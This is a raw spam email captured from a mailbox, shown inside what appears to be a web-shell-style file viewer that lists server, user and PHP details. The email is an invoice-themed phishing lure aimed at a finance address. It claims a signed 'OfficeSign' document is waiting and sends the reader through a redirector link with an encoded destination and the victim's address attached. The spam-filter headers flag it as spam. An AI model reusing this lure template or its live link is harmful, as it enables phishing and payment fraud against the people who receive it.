HEX
Server: Apache
System: Linux server.tanduk.space 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: coachou (1042)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /home/coachou/mail/.spam/new/1744138020.M405952P1561386.server.tanduk.space,S=7508,W=7663
Return-Path: <mail@n2nworldsystems.com>
Delivered-To: coachou+spam@server.tanduk.space
Received: from server.tanduk.space
	by server.tanduk.space with LMTP
	id KM8AFyRv9Wcq0xcAt+5+7g
	(envelope-from <mail@n2nworldsystems.com>)
	for <coachou+spam@server.tanduk.space>; Tue, 08 Apr 2025 14:47:00 -0400
Return-path: <mail@n2nworldsystems.com>
Envelope-to: finance@coachoutletstoreonline.us
Delivery-date: Tue, 08 Apr 2025 14:47:00 -0400
Received: from [198.23.248.88] (port=40649 helo=n2nworldsystems.com)
	by server.tanduk.space with esmtps  (TLS1.3) tls TLS_AES_256_GCM_SHA384
	(Exim 4.98.1)
	(envelope-from <mail@n2nworldsystems.com>)
	id 1u2DyH-00000006YPB-249t
	for finance@coachoutletstoreonline.us;
	Tue, 08 Apr 2025 14:47:00 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; s=dkim; d=n2nworldsystems.com;
 h=From:Subject:To:Content-Type:MIME-Version:Date; i=mail@n2nworldsystems.com;
 bh=xgCwsmMMFgxaO4KK69KuT08TH3ZafwEOi00XID5H4/c=;
 b=dA1PhqEkNyszdSH31bM6QCRVUqIblqx2DrlxurDkKLl56SuYLysyCh2iIAiceoXNkWpXzTOb46SR
   YNGwugsmhLhkQXaOYuNOOsoU+8euYwUMYvaZouE/bz4hHI4kKNUWMlsfVfCohtP3h4rytSnjx0Cp
   jg4+yjL0yKbIkih8Kte01ffwiBUjFdT+s78Vtg2vZgvJogDX0r8q9hiKs17phZu7XHHle01BWH+x
   O34RF55jG+TIHgEE+Yu2MpPJh1VDX2K3mT7HeXUkaCirrbWx0rbBqLpVH0rzngrwkDRhLCOQAdpS
   Eu9y+S/MzpuVdzgNwXPEQ25vncY1Vcf4rJQuMQ==
From: "Accounts" <mail@n2nworldsystems.com>
To: "finance" <finance@coachoutletstoreonline.us>
Content-Type: multipart/alternative; boundary="0Df4r2xE4Bleb7M2tdBwUHJ17R=_80Pk5v"
MIME-Version: 1.0
Date: Tue, 8 Apr 2025 00:54:26 -0700
X-Spam-Status: Yes, score=9.7
X-Spam-Score: 97
X-Spam-Bar: +++++++++
X-Spam-Report: Spam detection software, running on the system "server.tanduk.space",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Account Dept. shared an OfficeSign document: INV-387867.pdf
    and it has been finalized. The signed documents are attached. Open document
    If you have trouble with the above link, copy it and open it with your browser.
    
 Content analysis details:   (9.7 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: vozer.net]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [198.23.248.88 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [198.23.248.88 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [198.23.248.88 listed in bl.score.senderscore.com]
  4.5 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URI: n2nworldsystems.com]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  1.0 MAILBABY_GENERIC_IXHASH BODY: iXhash found @
                             mailbaby.ixhashgeneric.interserver.net
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
                             envelope-from domain
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from author's
                             domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily valid
  0.8 FROM_FMBLA_NEWDOM28    From domain was registered in last 14-28 days
  1.1 DATE_IN_PAST_06_12     Date: is 6 to 12 hours before Received: date
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to
                             background
  0.0 T_MXG_EMAIL_FRAG       BODY: URI with email in fragment
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  0.0 NORDNS_LOW_CONTRAST    No rDNS + hidden text
X-Spam-Flag: YES
Subject:  ***SPAM***  FW: Invoice - 387867

This is a multi-part message in MIME format

--0Df4r2xE4Bleb7M2tdBwUHJ17R=_80Pk5v
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

=EF=BB=BFAccount Dept. shared an OfficeSign document: INV-387867.pdf a=
nd it has been finalized.
The signed documents are attached.
Open document=20





If you have trouble with the above link, copy it and open it with your=
 browser.


--0Df4r2xE4Bleb7M2tdBwUHJ17R=_80Pk5v
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

=EF=BB=BF<HTML><HEAD></HEAD>
<BODY>
<DIV dir=3Dltr>
<TABLE style=3D"FONT-SIZE: 14px; BORDER-TOP: #e9e9e9 1px solid; FONT-F=
AMILY: 'Helvetica Neue',Helvetica,Arial,sans-serif; BORDER-RIGHT: #e9e=
9e9 1px solid; BORDER-BOTTOM: #e9e9e9 1px solid; COLOR: #000; BORDER-L=
EFT: #e9e9e9 1px solid; BACKGROUND-COLOR: #fff; border-radius: 3px" ce=
llSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#fff>
<TBODY>
<TR>
<TD style=3D"PADDING-BOTTOM: 10px; PADDING-TOP: 10px; PADDING-LEFT: 10=
px; PADDING-RIGHT: 10px" vAlign=3Dtop>
<P>Account Dept. shared an OfficeSign document: <STRONG>INV-387867.pdf=
</STRONG> and it has been finalized.</P>
<P>The signed documents are attached.</P>
<TABLE style=3D"MARGIN: auto" cellSpacing=3D0 cellPadding=3D0 align=3D=
left>
<TBODY>
<TR>
<TD>
<TABLE cellSpacing=3D0 cellPadding=3D0>
<TBODY>
<TR>
<TD style=3D"border-radius: 2px" bgColor=3D#3aa54c><A style=3D"FONT-SI=
ZE: 16px; TEXT-DECORATION: none; BORDER-TOP: #3aa54c 1px solid; FONT-F=
AMILY: 'Helvetica Neue',Helvetica,Arial,sans-serif; BORDER-RIGHT: #3aa=
54c 1px solid; BORDER-BOTTOM: #3aa54c 1px solid; COLOR: #fff; PADDING-=
BOTTOM: 8px; PADDING-TOP: 8px; PADDING-LEFT: 12px; BORDER-LEFT: #3aa54=
c 1px solid; DISPLAY: inline-block; PADDING-RIGHT: 12px; border-radius=
: 2px" href=3D"https://vozer.net/go/?to=3DaHR0cDovL3BlbnRydWdhdGl0dC5j=
b20vaW5kZXguaHRtbA#finance@coachoutletstoreonline.us" rel=3D"noopener =
noreferrer" target=3D_blank><STRONG>Open document</STRONG> </A></TD></=
TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<P><BR><BR><BR><BR>If you have trouble with the above link, copy it an=
d open it with your browser.</P></TD></TR></TBODY></TABLE></DIV></BODY=
></HTML>


--0Df4r2xE4Bleb7M2tdBwUHJ17R=_80Pk5v--